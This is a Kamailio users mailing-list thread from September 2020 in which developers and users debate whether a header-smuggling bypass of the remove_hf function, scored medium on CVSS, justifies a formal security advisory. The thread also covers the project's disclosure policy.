As Daniel pointed out in his response:
1. "Of course, security is affected only if you pass security sensitive
data in such custom headers"
2. "The default kamailio.cfg is not using any custom headers, thus
no impact on it."
Or in other words: This is not a ubiquitous problem affecting a large
proportion of the installed base. Custom headers present a security risk
_ipso facto_. It is up to the implementor to make a reasonable and
informed risk assessment about using them.
It is true that #2 is less of a mitigating factor than #1; as someone
pointed out, the value of Kamailio is tied up in the core APIs it
provides as a "toolkit", rather than packaged configurations, as most
substantial implementations of Kamailio involve advanced use-cases and
extensive custom config-writing.
Nevertheless, some subsequent responses in this thread seem like
needless hyperventilation to stimulate "political energy" or energise
some kind of online outrage machine. This betrays a failure to see
forest for trees and a lack of adequate perspective on the objective
impact of this issue (medium), or a penchant for hysteria.
-- Alex
On 2020-09-02 13:48, jbrower(a)signalogic.com wrote:
Maxim is correct. *Anything* even remotely exploitable
must be
documented, fixed, and reported. Credibility with company security
officers, CFOs -- even with the press if something bad should ever
happen -- is crucial.
Whether there is an impacted standard is irrelevant. What standard ever
covered RowHammer, Spectre, etc ? If the exploit doesn't make sense
because "they would have access to other private data anyway" is an
assumption and therefore also irrelevant. Sophisticated hackers are
great programmers (as are Kamailio programmers), they work 24/7 (as we
do) -- who's to say how they might combine exploits in some way we
cannot yet imagine.
-Jeff
Quoting Maxim Sobolev <sobomax(a)sippysoft.com
<mailto:sobomax@sippysoft.com>>:
--
Alex Balashov | Principal | Evariste Systems LLC
Tel: +1-706-510-6800 / +1-800-250-5920 (toll-free)
Web: http://www.evaristesys.com/, http://www.csrpswitch.com/
Hey Daniel, Henning, Tao,
Thanks for commenting out. There are a lot of opinions for me to
address individually, so I will just clarify my opinion. The only
substantial difference I think is whether the issue at hand warrants a
security advisory to be issued by the Kamailio project or not. I
totally think that it does, but it looks like I am in the minority here.
Why do I think this way? Well, the first argument is a bit empirical.
It is hard to generalize out of sample size 1, but in like 90%
engagements where I had to use SIP Proxy element and integrate it with
different SIP elements I ended up using "private headers" for passing
information between elements within that setup. So the task of
cleaning up those headers at the edge of the network is very relevant
at least to some users. It also matches Sandro's assessment, which
gives it at least some credibility.
Second, a more general one. Not only I have some experience in
software development field, but also I got a chance to participate in
much bigger and older open source projects (i.e. FreeBSD Project, 400+
active developers, 1,000+ contributors) so I have seen how security is
dealt with properly in a mature open source project. You guys might
fancy the fact that Kamailio issued the last security advisory in 2018
as a "code quality" indicator, but to me that shows a total lack of
proper security process. With the code base of its size, I'd expect
at least several security issues of various criticality being found
per year. I frankly don't understand the pushback I am getting. It
almost looks like issuing such advisory is viewed as harmful and
damaging on project "spotless" reputation or something. However in my
view it would show respect to users and understanding that many of
those users might be using it in a way that differs from its creators.
It might come as a surprise to some of you, but 95% of Kamailio users
are not reading this and those lists or following Sandro's work in
general. However, if there were a section "Security Advisories" on
kamailio.org <http://kamailio.org> that would be the place to go. And
those users are often not individuals, but companies building their
products and solutions atop of Kamailio.
Also properly issued security advisory helps package maintainers, any
linux distro of decent size has its own process to handle and
disseminate those among their own users to update package ASAP. But if
Kamailio chooses to not issue any it basically cuts itself out of that
process.
And last but not least, to the remark that I need to step in and fix
things, well I am hardly a person to do that. Too many projects and
too little time, however I also don't think I cannot voice my opinion,
or can I? By the way I know at least one person in the Kamailio
community that might be more fit as a "Kamailio Security
Officer": Olle E. Johansson. Olle, what's your take on this? Does
this problem warrants security advisory?
-Max
_______________________________________________
Kamailio (SER) - Users Mailing List
sr-users(a)lists.kamailio.org
https://lists.kamailio.org/cgi-bin/mailman/listinfo/sr-users
8:21 p.m.
As I was drafting my response, Alex articulated a response better than
I could dream.
I agree with the project response, Daniel's response, and also would
like to add that remove_hf_re has been here since 1.5 and is not
vulnerable to the scenario described.
Internally, the headers would need to be known and if internal there's
more security concern other than this of course.
Externally (or from un-trusted sources), you're hopefully stripping
all X-, or other type headers that you would be using internally. In
this case, the re method would still not need updating.
This scenario is not obtaining private information, memory leaks,
system crash. It is a valid concern when using an exact replace on an
arbitrary header should that arbitrary header be used for some
security method.
This said, if your security can be evaded with a plain text header,
you may wish to consider adding an additional measure such as source,
auth, etc.
As time progresses, attack metrics change. If a criteria meets a major
announcement, the project has shown and demonstrated that information
will be released in a security announcement, for example:
https://www.kamailio.org/w/2018/07/kamailio-security-announcement-for-kamai…
--fred
On Wed, 2020-09-02 at 13:56 -0400, Alex Balashov wrote:
For whatever it's worth: IHO, the official project
response to this
issue, and Daniel's in particular, was reasonable and proportional
to
the severity of the problem.
As Daniel pointed out in his response:
1. "Of course, security is affected only if you pass security
sensitive
data in such custom headers"
2. "The default kamailio.cfg is not using any custom headers, thus
no impact on it."
Or in other words: This is not a ubiquitous problem affecting a
large
proportion of the installed base. Custom headers present a security
risk
_ipso facto_. It is up to the implementor to make a reasonable and
informed risk assessment about using them.
It is true that #2 is less of a mitigating factor than #1; as
someone
pointed out, the value of Kamailio is tied up in the core APIs it
provides as a "toolkit", rather than packaged configurations, as
most
substantial implementations of Kamailio involve advanced use-cases
and
extensive custom config-writing.
Nevertheless, some subsequent responses in this thread seem like
needless hyperventilation to stimulate "political energy" or
energise
some kind of online outrage machine. This betrays a failure to see
forest for trees and a lack of adequate perspective on the
objective
impact of this issue (medium), or a penchant for hysteria.
-- Alex
On 2020-09-02 13:48, jbrower(a)signalogic.com wrote:
Maxim is correct. *Anything* even remotely
exploitable must be
documented, fixed, and reported. Credibility with company
security
officers, CFOs -- even with the press if something bad should
ever
happen -- is crucial.
Whether there is an impacted standard is irrelevant. What standard
ever
covered RowHammer, Spectre, etc ? If the exploit doesn't make
sense
because "they would have access to other private data anyway" is
an
assumption and therefore also irrelevant. Sophisticated hackers
are
great programmers (as are Kamailio programmers), they work 24/7
(as we
do) -- who's to say how they might combine exploits in some way
we
cannot yet imagine.
-Jeff
Quoting Maxim Sobolev <sobomax(a)sippysoft.com
<mailto:sobomax@sippysoft.com>>:
Hey Daniel, Henning, Tao,
Thanks for commenting out. There are a lot of opinions for me
to
address individually, so I will just clarify my opinion. The
only
substantial difference I think is whether the issue at hand
warrants a
security advisory to be issued by the Kamailio project or not.
I
totally think that it does, but it looks like I am in the
minority here.
Why do I think this way? Well, the first argument is a bit
empirical.
It is hard to generalize out of sample size 1, but in like 90%
engagements where I had to use SIP Proxy element and integrate
it with
different SIP elements I ended up using "private headers" for
passing
information between elements within that setup. So the task of
cleaning up those headers at the edge of the network is very
relevant
at least to some users. It also matches Sandro's assessment,
which
gives it at least some credibility.
Second, a more general one. Not only I have some experience in
software development field, but also I got a chance to
participate in
much bigger and older open source projects (i.e. FreeBSD
Project, 400+
active developers, 1,000+ contributors) so I have seen how
security is
dealt with properly in a mature open source project. You guys
might
fancy the fact that Kamailio issued the last security advisory
in 2018
as a "code quality" indicator, but to me that shows a total lack
of
proper security process. With the code base of its size, I'd
expect
at least several security issues of various criticality being
found
per year. I frankly don't understand the pushback I am getting.
It
almost looks like issuing such advisory is viewed as harmful
and
damaging on project "spotless" reputation or something. However
in my
view it would show respect to users and understanding that many
of
those users might be using it in a way that differs from its
creators.
It might come as a surprise to some of you, but 95% of Kamailio
users
are not reading this and those lists or following Sandro's work
in
general. However, if there were a section "Security Advisories"
on
kamailio.org <http://kamailio.org> that would be the place to
go. And
those users are often not individuals, but companies building
their
products and solutions atop of Kamailio.
Also properly issued security advisory helps package
maintainers, any
linux distro of decent size has its own process to handle and
disseminate those among their own users to update package ASAP.
But if
Kamailio chooses to not issue any it basically cuts itself out
of that
process.
And last but not least, to the remark that I need to step in and
fix
things, well I am hardly a person to do that. Too many projects
and
too little time, however I also don't think I cannot voice my
opinion,
or can I? By the way I know at least one person in the Kamailio
community that might be more fit as a "Kamailio Security
Officer": Olle E. Johansson. Olle, what's your take on this?
Does
this problem warrants security advisory?
-Max
_______________________________________________
Kamailio (SER) - Users Mailing List
sr-users(a)lists.kamailio.org
https://lists.kamailio.org/cgi-bin/mailman/listinfo/sr-users
8:28 p.m.
On 2020-09-02 14:21, Fred Posner wrote:
As time progresses, attack metrics change. If a
criteria meets a major
announcement, the project has shown and demonstrated that information
will be released in a security announcement, for example:
https://www.kamailio.org/w/2018/07/kamailio-security-announcement-for-kamai…
For better or worse, one of the arguments made was that if 2018 was the
last time we had an announcement of this magnitude, we must not be
Serious About Security™.
It is worth taking the time to introspect about whether the threshold
for such announcements is properly calibrated. That's never a bad idea.
However, to suggest that there must be a quota met of major
vulnerability announcements per unit of time met in order for a project
to be credibly Serious About Security™ is ludicrous.
-- Alex
--
Alex Balashov | Principal | Evariste Systems LLC
Tel: +1-706-510-6800 / +1-800-250-5920 (toll-free)
Web: http://www.evaristesys.com/, http://www.csrpswitch.com/
8:10 p.m.
In the eyes of people who are not doing the work themselves, everything
always warrants something.
The reality of open-source is it cannot be all things to all people. If
you want to be a security-conscious user of Kamailio, you need to
monitor the mailing lists.
Doubtless, very, very critical issues will get wider exposure. For
everything else, such as this issue and issues like it which fall into
the vast middle of the curve--that is, problems which could affect some
users from time to time in some releases--one just has to be plugged
into what's going on with the project.
Yes, users should be able to count on the project to be reasonably
secure and diligent in addressing identified issues, which it has. There
is no less of credibility here with anyone; the issue was readily
identified, immediately acknowledged, and fixed in _minutes_ (I was
there watching it), and has been or is in the process of being
backported to stable maintained branches. What more could you possibly
want from an open-source project?
-- Alex
--
Alex Balashov | Principal | Evariste Systems LLC
Tel: +1-706-510-6800 / +1-800-250-5920 (toll-free)
Web: http://www.evaristesys.com/, http://www.csrpswitch.com/
8:30 p.m.
Hello Maxim,
thank you for the clarification, appreciated.
Just one clarification, my comment regarding the advisory from 2018 was not meant as
advertisement etc..
One suggestion to objectify the whole discussion, there exists a well-known and accepted
metric for vulnerabilities: CVSS [1]
If I calculate the CVSS score for this issue, it results in a medium level with score 5.8.
But this is of course again (at least somewhat) influenced from my point of view to this
bug.
Some projects have a policy to only do a security announcement for vulnerabilities with
score high and critical. For Kamailio this is not yet defined in a detailed way, due to
the size of the project and other factors.
So, If people in this discussion (or other people on the list) are interested in improving
the project security processes – this wiki page with the current process might be a good
starting point: https://www.kamailio.org/wiki/security/policy
Please suggest your improvements to the existing process (preferable in a new discussion
thread) on the sr-dev list. If you want to do it in private, feel free contact the
management list.
Best regards,
Henning
[1] https://en.wikipedia.org/wiki/Common_Vulnerability_Scoring_System
--
Henning Westerholt – https://skalatan.de/blog/
Kamailio services – https://gilawa.com<https://gilawa.com/>
From: Maxim Sobolev <sobomax(a)sippysoft.com>
Sent: Wednesday, September 2, 2020 7:27 PM
To: Daniel-Constantin Mierla <miconda(a)gmail.com>om>; Henning Westerholt
<hw(a)skalatan.de>de>; yufei.tao(a)gmail.com; Olle E. Johansson <oej(a)edvina.net>
Cc: Gerry | Rigatta <gjacobsen(a)rigatta.com>om>; Kamailio (SER) - Users Mailing List
<sr-users(a)lists.kamailio.org>
Subject: Re: [SR-Users] Kamailio vulnerable to header smuggling possible due to bypass of
remove_hf
Hey Daniel, Henning, Tao,
Thanks for commenting out. There are a lot of opinions for me to address individually, so
I will just clarify my opinion. The only substantial difference I think is whether the
issue at hand warrants a security advisory to be issued by the Kamailio project or not. I
totally think that it does, but it looks like I am in the minority here.
Why do I think this way? Well, the first argument is a bit empirical. It is hard to
generalize out of sample size 1, but in like 90% engagements where I had to use SIP Proxy
element and integrate it with different SIP elements I ended up using "private
headers" for passing information between elements within that setup. So the task of
cleaning up those headers at the edge of the network is very relevant at least to some
users. It also matches Sandro's assessment, which gives it at least some
credibility.
Second, a more general one. Not only I have some experience in software development field,
but also I got a chance to participate in much bigger and older open source projects (i.e.
FreeBSD Project, 400+ active developers, 1,000+ contributors) so I have seen how security
is dealt with properly in a mature open source project. You guys might fancy the fact that
Kamailio issued the last security advisory in 2018 as a "code quality"
indicator, but to me that shows a total lack of proper security process. With the code
base of its size, I'd expect at least several security issues of various criticality
being found per year. I frankly don't understand the pushback I am getting. It almost
looks like issuing such advisory is viewed as harmful and damaging on project
"spotless" reputation or something. However in my view it would show respect to
users and understanding that many of those users might be using it in a way that differs
from its creators.
It might come as a surprise to some of you, but 95% of Kamailio users are not reading this
and those lists or following Sandro's work in general. However, if there were a
section "Security Advisories" on kamailio.org<http://kamailio.org> that
would be the place to go. And those users are often not individuals, but companies
building their products and solutions atop of Kamailio.
Also properly issued security advisory helps package maintainers, any linux distro of
decent size has its own process to handle and disseminate those among their own users to
update package ASAP. But if Kamailio chooses to not issue any it basically cuts itself out
of that process.
And last but not least, to the remark that I need to step in and fix things, well I am
hardly a person to do that. Too many projects and too little time, however I also
don't think I cannot voice my opinion, or can I? By the way I know at least one person
in the Kamailio community that might be more fit as a "Kamailio Security
Officer": Olle E. Johansson. Olle, what's your take on this? Does this problem
warrants security advisory?
-Max
9:14 p.m.
On Wed, Sep 2, 2020 at 11:30 AM Henning Westerholt <hw(a)skalatan.de> wrote:
Hello Maxim,
thank you for the clarification, appreciated.
No worries, hope to have a civilized discussion.
Just one clarification, my comment regarding the
advisory from 2018 was
not meant as advertisement etc..
Point taken, I dramatized of course to underline my point.
One suggestion to objectify the whole discussion, there exists a well-known
and accepted metric for vulnerabilities: CVSS [1]
If I calculate the CVSS score for this issue, it results in a medium level
with score 5.8. But this is of course again (at least somewhat) influenced
from my point of view to this bug.
Some projects have a policy to only do a security announcement for
vulnerabilities with score high and critical. For Kamailio this is not yet
defined in a detailed way, due to the size of the project and other factors.
So, If people in this discussion (or other people on the list) are
interested in improving the project security processes – this wiki page
with the current process might be a good starting point:
https://www.kamailio.org/wiki/security/policy
Please suggest your improvements to the existing process (preferable in a
new discussion thread) on the sr-dev list. If you want to do it in private,
feel free contact the management list.
Well, first suggestion after having read it: to start actually following
what's documented before any improvements are made. ;-) The policy says
plain and simple (quote):
Publishing security vulnerabilities
Kamailio will publish security vulnerabilities, including an CVE ID, on the
kamailio-business mailing list, sr-dev, sr-users as well as related lists. The
advisories will also be published on the kamailio.org web site.
CVE entries should be created for vulnerabilities in the core and major
modules, for rarely used modules this is not necessary. If there are
several security issues together in one release, they should be announced
together.
I might be missing something obvious, but there is no "if" or "maybe"
or
"it depends". Any module that has been 18 years with the project qualifies
to be a "major module" to me...
-Max
9:25 p.m.
Hello Maxim,
have a look to the first sentence:
“A security vulnerability is (for example) when a user of Kamailio can cause Kamailio to
crash or lock up by sending messages to the server process.”
So there is some limitation regarding vulnerability criticality defined in there. But of
course (as I already mentioned), it might be improved to e.g. use CVSS scoring instead.
Cheers,
Henning
From: Maxim Sobolev <sobomax(a)sippysoft.com>
Sent: Wednesday, September 2, 2020 9:15 PM
To: Henning Westerholt <hw(a)skalatan.de>
Cc: Daniel-Constantin Mierla <miconda(a)gmail.com>om>; yufei.tao(a)gmail.com; Olle E.
Johansson <oej(a)edvina.net>et>; Gerry | Rigatta <gjacobsen(a)rigatta.com>om>; Kamailio
(SER) - Users Mailing List <sr-users(a)lists.kamailio.org>rg>; jbrower(a)signalogic.com
Subject: Re: [SR-Users] Kamailio vulnerable to header smuggling possible due to bypass of
remove_hf
On Wed, Sep 2, 2020 at 11:30 AM Henning Westerholt
<hw@skalatan.de<mailto:hw@skalatan.de>> wrote:
Hello Maxim,
thank you for the clarification, appreciated.
No worries, hope to have a civilized discussion.
Just one clarification, my comment regarding the advisory from 2018 was not meant as
advertisement etc..
Point taken, I dramatized of course to underline my point.
One suggestion to objectify the whole discussion, there exists a well-known and accepted
metric for vulnerabilities: CVSS [1]
If I calculate the CVSS score for this issue, it results in a medium level with score 5.8.
But this is of course again (at least somewhat) influenced from my point of view to this
bug.
Some projects have a policy to only do a security announcement for vulnerabilities with
score high and critical. For Kamailio this is not yet defined in a detailed way, due to
the size of the project and other factors.
So, If people in this discussion (or other people on the list) are interested in improving
the project security processes – this wiki page with the current process might be a good
starting point: https://www.kamailio.org/wiki/security/policy
Please suggest your improvements to the existing process (preferable in a new discussion
thread) on the sr-dev list. If you want to do it in private, feel free contact the
management list.
Well, first suggestion after having read it: to start actually following what's
documented before any improvements are made. ;-) The policy says plain and simple
(quote):
Publishing security vulnerabilities
Kamailio will publish security vulnerabilities, including an CVE ID, on the
kamailio-business mailing list, sr-dev, sr-users as well as related lists. The advisories
will also be published on the kamailio.org<http://kamailio.org> web site.
CVE entries should be created for vulnerabilities in the core and major modules, for
rarely used modules this is not necessary. If there are several security issues together
in one release, they should be announced together.
I might be missing something obvious, but there is no "if" or "maybe"
or "it depends". Any module that has been 18 years with the project qualifies to
be a "major module" to me...
-Max
9:38 p.m.
Henning, well, sorry I respectfully disagree. The "for example" clause
clearly defines the following list as non-exclusive. What about let's say
SQL injection attacks? Are those "serious" enough? Or someone being able to
bypass authentication mechanisms? Any other 100500 potential ways to
exploit complex code systems?
In general it's safe to assume that what is and what isn't a security
vulnerability should be left to be decided by a security expert who reports
it. It's like when you go to the doctor for a checkup, you let him
interpret your x-rays and other analysis.
If Sandro in this particular case deems this issue as a "security
vulnerability", then the Kamailio team should just take it for granted. All
IMHO of course.
Adding score is fine, but that's a bit post-factum. IMHO you need a score
when you have too many vulnerabilities to report. Kamailio as we already
established is not in this category yet.
-Max
On Wed, Sep 2, 2020 at 12:25 PM Henning Westerholt <hw(a)skalatan.de> wrote:
Hello Maxim,
have a look to the first sentence:
“A security vulnerability is (for example) when a user of Kamailio can
cause Kamailio to crash or lock up by sending messages to the server
process.”
So there is some limitation regarding vulnerability criticality defined in
there. But of course (as I already mentioned), it might be improved to e.g.
use CVSS scoring instead.
Cheers,
Henning
*From:* Maxim Sobolev <sobomax(a)sippysoft.com>
*Sent:* Wednesday, September 2, 2020 9:15 PM
*To:* Henning Westerholt <hw(a)skalatan.de>
*Cc:* Daniel-Constantin Mierla <miconda(a)gmail.com>om>; yufei.tao(a)gmail.com;
Olle E. Johansson <oej(a)edvina.net>et>; Gerry | Rigatta <gjacobsen(a)rigatta.com>om>;
Kamailio (SER) - Users Mailing List <sr-users(a)lists.kamailio.org>rg>;
jbrower(a)signalogic.com
*Subject:* Re: [SR-Users] Kamailio vulnerable to header smuggling
possible due to bypass of remove_hf
On Wed, Sep 2, 2020 at 11:30 AM Henning Westerholt <hw(a)skalatan.de> wrote:
Hello Maxim,
thank you for the clarification, appreciated.
No worries, hope to have a civilized discussion.
Just one clarification, my comment regarding the advisory from 2018 was
not meant as advertisement etc..
Point taken, I dramatized of course to underline my point.
One suggestion to objectify the whole discussion, there exists a
well-known and accepted metric for vulnerabilities: CVSS [1]
If I calculate the CVSS score for this issue, it results in a medium level
with score 5.8. But this is of course again (at least somewhat) influenced
from my point of view to this bug.
Some projects have a policy to only do a security announcement for
vulnerabilities with score high and critical. For Kamailio this is not yet
defined in a detailed way, due to the size of the project and other factors.
So, If people in this discussion (or other people on the list) are
interested in improving the project security processes – this wiki page
with the current process might be a good starting point:
https://www.kamailio.org/wiki/security/policy
Please suggest your improvements to the existing process (preferable in a
new discussion thread) on the sr-dev list. If you want to do it in private,
feel free contact the management list.
Well, first suggestion after having read it: to start actually following
what's documented before any improvements are made. ;-) The policy says
plain and simple (quote):
Publishing security vulnerabilities
Kamailio will publish security vulnerabilities, including an CVE ID, on
the kamailio-business mailing list, sr-dev, sr-users as well as related
lists. The advisories will also be published on the kamailio.org web site.
CVE entries should be created for vulnerabilities in the core and major
modules, for rarely used modules this is not necessary. If there are
several security issues together in one release, they should be announced
together.
I might be missing something obvious, but there is no "if" or "maybe"
or
"it depends". Any module that has been 18 years with the project qualifies
to be a "major module" to me...
-Max
--
Maksym Sobolyev
Sippy Software, Inc.
Internet Telephony (VoIP) Experts
Tel (Canada): +1-778-783-0474
Tel (Toll-Free): +1-855-747-7779
Fax: +1-866-857-6942
Web: http://www.sippysoft.com
MSN: sales(a)sippysoft.com
Skype: SippySoft
10:03 p.m.
Hello Maxim,
I think it would be a good idea to start a new thread to discuss process improvements, so
only a few comments.
As mentioned from Alex already, this is an open source project and not a company where the
CISO will check that all documented policies are done and checked to not lose the ISO
27001 certification (to exaggerate a bit as well).
The actions of the projects depend (among others) on the time, priorities and other
commitments of the individuals that do the work. And as already discussed extensively, I
think we as a project have handled this topic in a good way. Of course, there might be
always room for improvement, with the usual trade-offs.
If other companies are having some requirements that the project might not provide now,
they usually will pay somebody to develops it or develops it in-house. If companies are
having more requirement regarding certain processes, they usually allow a person on their
payroll spend a few days a month to work on this or again pay somebody to work on it. My
observation is that the contributions of companies in this Open Source project have been
so far more in the former area as the latter.
Best regards,
Henning
--
Henning Westerholt – https://skalatan.de/blog/
Kamailio services – https://gilawa.com<https://gilawa.com/>
From: Maxim Sobolev <sobomax(a)sippysoft.com>
Sent: Wednesday, September 2, 2020 9:38 PM
To: Henning Westerholt <hw(a)skalatan.de>
Cc: Daniel-Constantin Mierla <miconda(a)gmail.com>om>; yufei.tao(a)gmail.com; Olle E.
Johansson <oej(a)edvina.net>et>; Gerry | Rigatta <gjacobsen(a)rigatta.com>om>; Kamailio
(SER) - Users Mailing List <sr-users(a)lists.kamailio.org>rg>; jbrower(a)signalogic.com
Subject: Re: [SR-Users] Kamailio vulnerable to header smuggling possible due to bypass of
remove_hf
Henning, well, sorry I respectfully disagree. The "for example" clause clearly
defines the following list as non-exclusive. What about let's say SQL injection
attacks? Are those "serious" enough? Or someone being able to bypass
authentication mechanisms? Any other 100500 potential ways to exploit complex code
systems?
In general it's safe to assume that what is and what isn't a security
vulnerability should be left to be decided by a security expert who reports it. It's
like when you go to the doctor for a checkup, you let him interpret your x-rays and other
analysis.
If Sandro in this particular case deems this issue as a "security
vulnerability", then the Kamailio team should just take it for granted. All IMHO of
course.
Adding score is fine, but that's a bit post-factum. IMHO you need a score when you
have too many vulnerabilities to report. Kamailio as we already established is not in this
category yet.
-Max
On Wed, Sep 2, 2020 at 12:25 PM Henning Westerholt
<hw@skalatan.de<mailto:hw@skalatan.de>> wrote:
Hello Maxim,
have a look to the first sentence:
“A security vulnerability is (for example) when a user of Kamailio can cause Kamailio to
crash or lock up by sending messages to the server process.”
So there is some limitation regarding vulnerability criticality defined in there. But of
course (as I already mentioned), it might be improved to e.g. use CVSS scoring instead.
Cheers,
Henning
From: Maxim Sobolev <sobomax@sippysoft.com<mailto:sobomax@sippysoft.com>>
Sent: Wednesday, September 2, 2020 9:15 PM
To: Henning Westerholt <hw@skalatan.de<mailto:hw@skalatan.de>>
Cc: Daniel-Constantin Mierla <miconda@gmail.com<mailto:miconda@gmail.com>>;
yufei.tao@gmail.com<mailto:yufei.tao@gmail.com>; Olle E. Johansson
<oej@edvina.net<mailto:oej@edvina.net>>; Gerry | Rigatta
<gjacobsen@rigatta.com<mailto:gjacobsen@rigatta.com>>; Kamailio (SER) - Users
Mailing List
<sr-users@lists.kamailio.org<mailto:sr-users@lists.kamailio.org>>;
jbrower@signalogic.com<mailto:jbrower@signalogic.com>
Subject: Re: [SR-Users] Kamailio vulnerable to header smuggling possible due to bypass of
remove_hf
On Wed, Sep 2, 2020 at 11:30 AM Henning Westerholt
<hw@skalatan.de<mailto:hw@skalatan.de>> wrote:
Hello Maxim,
thank you for the clarification, appreciated.
No worries, hope to have a civilized discussion.
Just one clarification, my comment regarding the advisory from 2018 was not meant as
advertisement etc..
Point taken, I dramatized of course to underline my point.
One suggestion to objectify the whole discussion, there exists a well-known and accepted
metric for vulnerabilities: CVSS [1]
If I calculate the CVSS score for this issue, it results in a medium level with score 5.8.
But this is of course again (at least somewhat) influenced from my point of view to this
bug.
Some projects have a policy to only do a security announcement for vulnerabilities with
score high and critical. For Kamailio this is not yet defined in a detailed way, due to
the size of the project and other factors.
So, If people in this discussion (or other people on the list) are interested in improving
the project security processes – this wiki page with the current process might be a good
starting point: https://www.kamailio.org/wiki/security/policy
Please suggest your improvements to the existing process (preferable in a new discussion
thread) on the sr-dev list. If you want to do it in private, feel free contact the
management list.
Well, first suggestion after having read it: to start actually following what's
documented before any improvements are made. ;-) The policy says plain and simple
(quote):
Publishing security vulnerabilities
Kamailio will publish security vulnerabilities, including an CVE ID, on the
kamailio-business mailing list, sr-dev, sr-users as well as related lists. The advisories
will also be published on the kamailio.org<http://kamailio.org> web site.
CVE entries should be created for vulnerabilities in the core and major modules, for
rarely used modules this is not necessary. If there are several security issues together
in one release, they should be announced together.
I might be missing something obvious, but there is no "if" or "maybe"
or "it depends". Any module that has been 18 years with the project qualifies to
be a "major module" to me...
-Max
--
Maksym Sobolyev
Sippy Software, Inc.
Internet Telephony (VoIP) Experts
Tel (Canada): +1-778-783-0474
Tel (Toll-Free): +1-855-747-7779
Fax: +1-866-857-6942
Web: http://www.sippysoft.com
MSN: sales@sippysoft.com<mailto:sales@sippysoft.com>
Skype: SippySoft
3 Sep
3 Sep
9:13 a.m.
One thought - we may have to separate security vulnerability reporting from security
advisory documents. I think in some cases, where a common use of a product can lead to
issues (but it is not clearly a bug that cause crashes in our code) we may have to send
out an advisory and publish it in the same way. The problem with that is where the border
is between just doing stupid things like taking SQL statements from SIP headers and issues
like this that are harder to catch.
We had a long and hard discussion about this in the Asterisk project many years ago - a
very common dialplan construct (that was documented in many places) was indeed very
dangerous. It wasn’t any code in asterisk that caused the issue, just a common dialplan
construct that existed in many, many production systems. In the end, if I remember
correctly, the project issued an advisory and added a README about it.
Maybe that’s a way forward.
/O
On 2 Sep 2020, at 21:25, Henning Westerholt
<hw(a)skalatan.de> wrote:
Hello Maxim,
have a look to the first sentence:
“A security vulnerability is (for example) when a user of Kamailio can cause Kamailio to
crash or lock up by sending messages to the server process.”
So there is some limitation regarding vulnerability criticality defined in there. But of
course (as I already mentioned), it might be improved to e.g. use CVSS scoring instead.
Cheers,
Henning
From: Maxim Sobolev <sobomax(a)sippysoft.com <mailto:sobomax@sippysoft.com>>
Sent: Wednesday, September 2, 2020 9:15 PM
To: Henning Westerholt <hw(a)skalatan.de <mailto:hw@skalatan.de>>
Cc: Daniel-Constantin Mierla <miconda(a)gmail.com <mailto:miconda@gmail.com>>;
yufei.tao(a)gmail.com <mailto:yufei.tao@gmail.com>; Olle E. Johansson
<oej(a)edvina.net <mailto:oej@edvina.net>>; Gerry | Rigatta
<gjacobsen(a)rigatta.com <mailto:gjacobsen@rigatta.com>>; Kamailio (SER) - Users
Mailing List <sr-users(a)lists.kamailio.org
<mailto:sr-users@lists.kamailio.org>>; jbrower(a)signalogic.com
<mailto:jbrower@signalogic.com>
Subject: Re: [SR-Users] Kamailio vulnerable to header smuggling possible due to bypass of
remove_hf
On Wed, Sep 2, 2020 at 11:30 AM Henning Westerholt <hw(a)skalatan.de
<mailto:hw@skalatan.de>> wrote:
Hello Maxim,
thank you for the clarification, appreciated.
No worries, hope to have a civilized discussion.
Just one clarification, my comment regarding the advisory from 2018 was not meant as
advertisement etc..
Point taken, I dramatized of course to underline my point.
One suggestion to objectify the whole discussion, there exists a well-known and accepted
metric for vulnerabilities: CVSS [1]
If I calculate the CVSS score for this issue, it results in a medium level with score
5.8. But this is of course again (at least somewhat) influenced from my point of view to
this bug.
Some projects have a policy to only do a security announcement for vulnerabilities with
score high and critical. For Kamailio this is not yet defined in a detailed way, due to
the size of the project and other factors.
So, If people in this discussion (or other people on the list) are interested in
improving the project security processes – this wiki page with the current process might
be a good starting point:https://www.kamailio.org/wiki/security/policy
<https://www.kamailio.org/wiki/security/policy>
Please suggest your improvements to the existing process (preferable in a new discussion
thread) on the sr-dev list. If you want to do it in private, feel free contact the
management list.
Well, first suggestion after having read it: to start actually following what's
documented before any improvements are made. ;-) The policy says plain and simple
(quote):
Publishing security vulnerabilities
Kamailio will publish security vulnerabilities, including an CVE ID, on the
kamailio-business mailing list, sr-dev, sr-users as well as related lists. The advisories
will also be published on the kamailio.org <http://kamailio.org/> web site.
CVE entries should be created for vulnerabilities in the core and major modules, for
rarely used modules this is not necessary. If there are several security issues together
in one release, they should be announced together.
I might be missing something obvious, but there is no "if" or "maybe"
or "it depends". Any module that has been 18 years with the project qualifies to
be a "major module" to me...
-Max
10:14 a.m.
After 20 years in voip, my 2 cents on this, if you succeed in creating a
voip system where the security of the whole relies on the ability to remove
(or only keep specific) custom sip headers, you will wake up one morning
realizing a bunch of people in Palestine made a gazillion calls over your
system to expensive destinations, bringing you to or over the edge of
bankruptcy.
Security should be multilayered, one header sneaking through should not
give any big problems.
From a security point of view, this could be called a
'normal' security
risk, I think. It's a bit more than low as you can do
more than just get
some info, but it's not high, as you would need to have many other factors
going wrong to get to a successful exploit.
Op do 3 sep. 2020 om 09:18 schreef Olle E. Johansson <oej(a)edvina.net>et>:
One thought - we may have to separate security
vulnerability reporting
from security advisory documents. I think in some cases, where a common use
of a product can lead to issues (but it is not clearly a bug that cause
crashes in our code) we may have to send out an advisory and publish it in
the same way. The problem with that is where the border is between just
doing stupid things like taking SQL statements from SIP headers and issues
like this that are harder to catch.
We had a long and hard discussion about this in the Asterisk project many
years ago - a very common dialplan construct (that was documented in many
places) was indeed very dangerous. It wasn’t any code in asterisk that
caused the issue, just a common dialplan construct that existed in many,
many production systems. In the end, if I remember correctly, the project
issued an advisory and added a README about it.
Maybe that’s a way forward.
/O
On 2 Sep 2020, at 21:25, Henning Westerholt <hw(a)skalatan.de> wrote:
Hello Maxim,
have a look to the first sentence:
“A security vulnerability is (for example) when a user of Kamailio can
cause Kamailio to crash or lock up by sending messages to the server
process.”
So there is some limitation regarding vulnerability criticality defined in
there. But of course (as I already mentioned), it might be improved to e.g.
use CVSS scoring instead.
Cheers,
Henning
*From:* Maxim Sobolev <sobomax(a)sippysoft.com>
*Sent:* Wednesday, September 2, 2020 9:15 PM
*To:* Henning Westerholt <hw(a)skalatan.de>
*Cc:* Daniel-Constantin Mierla <miconda(a)gmail.com>om>; yufei.tao(a)gmail.com;
Olle E. Johansson <oej(a)edvina.net>et>; Gerry | Rigatta <gjacobsen(a)rigatta.com>om>;
Kamailio (SER) - Users Mailing List <sr-users(a)lists.kamailio.org>rg>;
